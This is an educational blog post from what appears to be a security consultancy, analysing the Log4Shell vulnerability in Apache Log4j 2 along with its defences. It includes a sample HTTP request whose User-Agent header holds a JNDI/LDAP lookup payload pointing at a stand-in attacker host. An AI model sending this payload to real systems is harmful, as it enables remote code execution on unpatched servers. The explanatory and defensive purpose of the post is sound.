← Back to the blog

// blog · Vulnerability analysis

Anatomy of an RCE: how Log4Shell worked (CVE-2021-44228)

In December 2021 a single vulnerability in the Apache Log4j 2 library put security teams around the world on high alert. CVE-2021-44228, known as Log4Shell, was scored at the maximum CVSS 10.0: an unauthenticated attacker could execute arbitrary code on a server by sending one carefully crafted string. This post breaks the mechanism down into its parts - using an example that is now fully patched and publicly documented.

Context and legality. This is educational material describing a publicly known, patched vulnerability. Testing systems you do not own is legal only with the owner's written authorisation. The content below serves understanding the risk and defending effectively, not carrying out attacks.

Where the vulnerability came from

Log4j is one of the most widely used logging libraries in the Java ecosystem - present in countless web applications, servers and appliances. The problem lay in its message lookups feature: Log4j interpreted special ${...} expressions inside logged messages and expanded them at runtime. One of the supported mechanisms was JNDI (Java Naming and Directory Interface), which could fetch an object from a remote directory server, for example over LDAP.

Combining those two facts - that logged text is often user-controlled, and that ${jndi:...} reaches out to the network - created a path to remote code execution.

Anatomy of the payload

The whole attack begins with a single string:

The payload broken into segments: the Log4j expression, the JNDI lookup, the protocol and the attacker's host
//The payload broken into segments: the Log4j expression, the JNDI lookup, the protocol and the attacker's host

The attacker placed it wherever the application was likely to log the value - most often an HTTP header, a form field or a username.

The attack chain step by step

Five steps: from the payload in a header, through the JNDI lookup, to execution of the remote class
//Five steps: from the payload in a header, through the JNDI lookup, to execution of the remote class

The key observation: none of these steps requires authentication or user interaction. It is enough for a vulnerable application to log the controlled string.

A sample request

The payload usually reached the application through an ordinary header - here in User-Agent:

GET /api/status HTTP/1.1
Host: app.example.com
User-Agent: ${jndi:ldap://attacker.example:1389/a}
Accept: */*

If the application logged the User-Agent header (as many frameworks do), Log4j expanded the expression, connected to the attacker's LDAP server and - in a vulnerable configuration - fetched and ran the indicated Java class.

Why the impact was so large

Three factors combined into a "perfect storm":

That last point is a lesson beyond Log4j itself: you cannot secure what you do not know you have.

How to defend

Three layers: patching as the priority, configuration mitigation, egress traffic filtering
//Three layers: patching as the priority, configuration mitigation, egress traffic filtering

In short, in order of priority:

  1. Update Log4j to version 2.17.1 or later - this removes the root cause.
  2. Mitigate where a patch is not immediately possible: remove the JndiLookup class from the package or disable message lookups.
  3. Egress filtering - blocking unexpected outbound LDAP/RMI/DNS connections breaks the chain even when the code is still vulnerable.

The third layer matters because it buys time: even before every system is patched, restricting outbound traffic significantly raises the bar for an attacker.

What this means for your organisation

Log4Shell was not an exception - it was a preview. Vulnerabilities in dependencies (the software supply chain) are one of the required risk-management areas under NIS2 / KSC. The practical minimum: an up-to-date component inventory, a fast-response process for new CVEs, and periodic testing that confirms the exposure has actually gone.

If you want to check whether your perimeter is resilient to this class of vulnerability - book a consultation.

← Back to the blog